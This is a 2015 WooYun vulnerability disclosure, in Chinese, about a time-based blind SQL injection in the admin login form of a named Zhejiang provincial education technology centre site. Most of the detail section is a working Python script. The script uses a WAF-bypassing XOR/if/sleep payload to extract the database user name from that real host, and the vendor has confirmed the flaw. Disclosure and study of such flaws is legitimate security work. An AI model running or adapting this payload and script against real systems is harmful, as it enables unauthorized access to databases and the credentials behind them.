当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106323

漏洞标题:浙江省教育技术中心某处SQL注入漏洞之绕过WAF(附验证脚本)

相关厂商:浙江省教育技术中心

漏洞作者: netwind

提交时间:2015-04-07 09:26

修复时间:2015-05-22 11:28

公开时间:2015-05-22 11:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-07: 细节已通知厂商并且等待厂商处理中
2015-04-07: 厂商已经确认,细节仅向厂商公开
2015-04-17: 细节向核心白帽子及相关领域专家公开
2015-04-27: 细节向普通白帽子公开
2015-05-07: 细节向实习白帽子公开
2015-05-22: 细节向公众公开

简要描述:

浙江省教育技术中心某处SQL注入漏洞之绕过WAF

详细说明:

post 数据:
B15222=%b5%c7%20%c2%bc&B1522=%bb%d8%ca%d7%d2%b3&login=admin&passwd=g00dPa%24%24w0rD

jyfzzx.zjedu.org/admin/login.php
时LOGIN参数存在注入漏洞
手动判断了一下user()长度为14
验证脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
headers = {'Content-Type':'application/x-www-form-urlencoded'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive MySQL User:'
user = ''
for i in range(1,15):
for payload in payloads:

try:
s = "mid(user(),%s,1)=%s" % (i, hex(ord(payload)))
s = "aa'XOR(if(" + s + ",sleep(5),0))OR'bb"
conn = httplib.HTTPConnection('jyfzzx.zjedu.org', timeout=7)
conn.request(method='POST',
url="/admin/login.php",
body="B15222=%b5%c7%20%c2%bc&B1522=%bb%d8%ca%d7%d2%b3&login="+s+"&passwd=g00dPa%24%24w0rD",
headers=headers)

start_time = time.time()
print s
html_contet = conn.getresponse()
#print html_contet
conn.close()
print '>',
except:
user+=payload
print '[user]:',user
break

漏洞证明:

1.png

修复方案:

参数过滤

版权声明:转载请注明来源 netwind@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-04-07 11:27

厂商回复:

感谢netwind@乌云的安全检测,我们会尽快修复漏洞

最新状态:

暂无